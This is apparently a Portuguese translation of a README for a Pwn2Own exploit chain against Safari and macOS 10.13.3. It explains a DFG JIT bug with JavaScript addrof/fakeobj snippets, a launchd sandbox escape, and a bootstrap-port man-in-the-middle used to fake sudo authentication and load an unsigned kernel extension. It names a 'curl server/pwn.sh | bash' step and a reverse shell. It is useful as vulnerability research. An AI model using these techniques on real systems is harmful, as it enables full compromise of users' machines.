
A Pwn2Own exploit chain
RCE no Safari, escape da sandbox e LPE para o kernel no macOS 10.13.3.
Instale o nasm e o tornado:
brew install nasm
pip3 install tornado
Verifique o config.py se quiser alterar o host ou as portas. Em seguida, inicie o servidor com ./server.py e navegue até a URL exibida.
Esta cadeia de exploits usa três bugs diferentes para ir do código JavaScript executado dentro do Safari até a execução de código em modo kernel:
A cadeia de exploits é implementada em seis estágios, cada um localizado em seu próprio subdiretório:
Todo subdiretório (com exceção de libspc/) contém um arquivo chamado make.py que, quando executado, realiza qualquer tipo de comando de build necessário e cria uma lista de arquivos a serem servidos pelo servidor web.
Objetivo: obter execução de shellcode dentro do processo WebContent em sandbox
Bug explorado: otimização incorreta no compilador JIT DFG
Veja também esta palestra da BlackHat
O compilador JIT DFG representa o código JavaScript em sua própria representação intermediária (IR), o Grafo de Fluxo de Dados (DFG). Normalmente, uma expressão JavaScript é traduzida em uma ou várias instruções de IR nesse grafo. No caso de uma função construtora, a instrução CreateThis é emitida e é responsável por alocar o objeto this que é construído pela função. Como exemplo, a função function Consructor() {}, quando chamada com new, seria aproximadamente traduzida para
v0 = CreateThis
return v0
Observando o AbstractInterpreter, podemos ver que o compilador JIT DFG assume que a operação CreateThis não resultará em nenhum efeito colateral além de uma alocação no heap. Na verdade, este código:
function Constructor(obj) {
return obj.x;
}
será aproximadamente traduzido para as seguintes instruções DFG:
(Aqui, o StructureCheck foi movido para o início da função pela
TypeCheckHoistingPhase).
StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;
No entanto, essa suposição é inválida, pois o código de caminho lento (slow-path) para CreateThis pode executar código JavaScript arbitrário em alguns casos. Em particular, ao usar um Proxy em volta da função real, a armadilha (trap) get para a propriedade "prototype" será chamada durante o manipulador de caminho lento para CreateThis, já que ele precisa buscar o objeto prototype do objeto construído:
function Constructor(obj) {
return obj.x;
}
var handler = {
get(target, propname) {
/* run JS here, modify the structure of the argument object, etc. */
return target[propname];
},
};
var ConstructorProxy = new Proxy(Constructor, handler);
// Force JIT compilation of ConstructorProxy
Dessa forma, agora é possível modificar a Structure de um objeto sem que o compilador JIT realize um bailout.
Este bug pode ser usado para construir as primitivas addrof e fakeobj da seguinte forma:
Compilamos o código para o caso de um JSArray com elementos double unboxed e, então, no callback, fazemos a transição para elementos JSValue. Depois disso, o código JIT carregará um JSValue do array, mas tratará esses bits como um double e os retornará para nós. O código a seguir atribuirá o endereço de leakme à propriedade "address" do objeto construído.
function InfoLeaker(a) {
this.address = a[0];
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = leakme;
return target[propname];
},
};
// ...
Aqui fazemos essencialmente o contrário: otimizamos o código para armazenar um double em um array com elementos double unboxed e, novamente, fazemos a transição para elementos JSValue no callback. O código continuará escrevendo nosso double controlado em forma unboxed no armazenamento de apoio (backing storage). Quando acessarmos esse elemento do array mais tarde, ele tratará esses bits como um JSValue em vez de um double. O código a seguir escreverá o double unboxed address no buffer de apoio de a, que podemos então ler como JSValue, permitindo-nos "injetar" JSValues de nossa escolha no mecanismo.
function ObjFaker(a, address) {
a[0] = address;
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = {};
return target[propname];
},
};
// ...
Dessa forma, acabamos com a capacidade de escrever um double e tratá-lo como um ponteiro JSObject, e vice-versa. Isso pode ser explorado conforme descrito em atacando mecanismos JavaScript.
O exploit primeiro obtém leitura/escrita arbitrária de memória do processo falsificando um Float64Array, depois procura pela região JIT (mapeada como RWX) e escreve o shellcode do stage1 nela.
Objetivo: inicializar o estágio 2 escrevendo um .dylib no disco e carregando-o via dlopen()
Um payload curto em assembly que essencialmente faz o seguinte:
confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR) para obter um caminho para um diretório graváveldlopen()Objetivo: escapar da sandbox
Bug explorado: falta de verificações de sandbox na API "legacy_spawn" do launchd
Veja também esta palestra
O launchd expõe o endpoint RPC "legacy_spawn" como a rotina 817 no subsistema 3. Essa API não valida se o chamador deve ter permissão para criar processos e simplesmente executa execve de qualquer binário do sistema para o chamador, com argumentos controlados. Como o launchd é acessível através da porta de bootstrap, isso torna possível escapar da sandbox.
O exploit essencialmente executa curl server/pwn.sh | bash e, assim, passa o controle para o stage3.
Objetivo: abrir a calculadora (pop calc) e inicializar os estágios restantes
Isso executa open /Applications/Calculator.app e estabelece um reverse shell; em seguida, busca todos os arquivos necessários para os estágios restantes e executa os exploits.
Objetivo: obter root através de um exploit de LPE
Bug explorado: MitM na porta de bootstrap do XNU
Veja também esta palestra da POC
No XNU, a API task_set_special_port permite que chamadores substituam sua porta de bootstrap, que é usada para se comunicar com o launchd. Essa porta é herdada entre forks: processos filhos usarão a mesma porta de bootstrap que o pai. Surge então um problema de segurança se o processo filho tiver mais privilégios que o pai, como é o caso, por exemplo, do sudo (um binário setuid) ou do kextutil (que possui a entitlement "com.apple.rootless.kext-management"). Ao substituir a porta de bootstrap e fazer fork de um processo filho, podemos agora obter uma posição de MitM entre nosso filho e o launchd (que nosso filho espera alcançar ao enviar mensagens para a porta de bootstrap). O processo filho pedirá ao launchd que resolva vários serviços mach e XPC. Ao resolver esses serviços para outras portas controladas por nós, também podemos obter uma posição de MitM com serviços de sistema arbitrários usados pelo nosso processo filho. A exploração então depende de como esses serviços são usados pelo programa atacado.
Para obter root, temos como alvo o binário sudo e interceptamos sua comunicação com o opendirectoryd, que é usado pelo sudo para verificar credenciais. Modificamos as respostas do opendirectoryd para fazer parecer que nossa senha era válida.
Parece que houve uma tentativa de corrigir esse problema, pois o libxpc (que realiza a comunicação com o launchd) verifica se as respostas realmente vêm de um processo com uid=0 e pid=1 (== launchd). No entanto, essas verificações são insuficientes. Podemos contorná-las da seguinte forma para resolver opendirectoryd para nossa própria porta:
net.saelo.hax) no launchd usando a API bootstrap_register2com.apple.system.opendirectoryd.api por net.saelo.haxTudo o que resta agora (para uma escalada de privilégios para root) é encaminhar as mensagens entre o opendirectoryd e o sudo, mas substituir a resposta de erro de autenticação por uma resposta de sucesso.
Objetivo: carregar uma extensão de kernel autoassinada
Bug explorado: MitM na porta de bootstrap do XNU
Isso explora a mesma falha do stage4, mas desta vez tendo como alvo o kextutil. Interceptamos a conexão com com.apple.trustd e forjamos a cadeia de certificados, fazendo o kextutil pensar que nosso kext autoassinado foi, na verdade, assinado diretamente pela Apple.
O kextutil procede aproximadamente da seguinte forma quando solicitado a carregar um .kext do disco:
trustd para obter a cadeia de certificados e estabelecer se o certificado raiz é confiávelsyspolicyd. No entanto, se o syspolicyd não puder ser alcançado, o kextutil simplesmente prossegueIsso permite o seguinte ataque para carregar extensões de kernel autoassinadas:
com.apple.trustd para nosso próprio serviçotrustd e responder com uma cadeia de certificados fixa (hardcoded) de um .kext oficial da Applesyspolicyd (por exemplo, substituindo com.apple.security.syspolicy.kext por net.saelo.lolno nas solicitações de busca de serviço ao launchd)O kextutil agora carregará nossa extensão de kernel no kernel.